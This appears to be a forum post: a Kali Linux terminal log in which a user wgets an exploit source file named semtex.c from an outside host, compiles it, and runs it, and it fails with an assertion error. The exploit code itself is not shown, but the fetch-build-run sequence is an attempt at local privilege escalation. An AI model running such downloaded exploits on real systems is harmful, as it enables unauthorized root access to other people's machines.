perf exploit fail on Kali Linux

fred@kali:~$ wget http://fucksheep.org/~sd/warez/semtex.c
--2013-05-15 15:17:20--  http://fucksheep.org/~sd/warez/semtex.c
Resolving fucksheep.org (fucksheep.org)... 81.0.234.209
Connecting to fucksheep.org (fucksheep.org)|81.0.234.209|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: http://fucksheep.org/~sd/warez/semtex.c [following]
--2013-05-15 15:17:21--  http://fucksheep.org/~sd/warez/semtex.c
Connecting to fucksheep.org (fucksheep.org)|81.0.234.209|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2438 (2.4K) [text/plain]
Saving to: `semtex.c'

100%[======================================>] 2,438       --.-K/s   in 0.01s

2013-05-15 15:17:22 (176 KB/s) - `semtex.c' saved [2438/2438]

fred@kali:~$ ls
Desktop  semtex.c
fred@kali:~$ gcc semtex.c -o semtex
semtex.c: In function ‘fuck’:
semtex.c:30:36: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
semtex.c:30:22: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
semtex.c:31:20: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
semtex.c:37:17: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
semtex.c: In function ‘main’:
semtex.c:74:2: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
semtex.c:74:2: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
fred@kali:~$ ./semtex
semtex: semtex.c:51: sheep: Assertion `!close(fd)' failed.
Aborted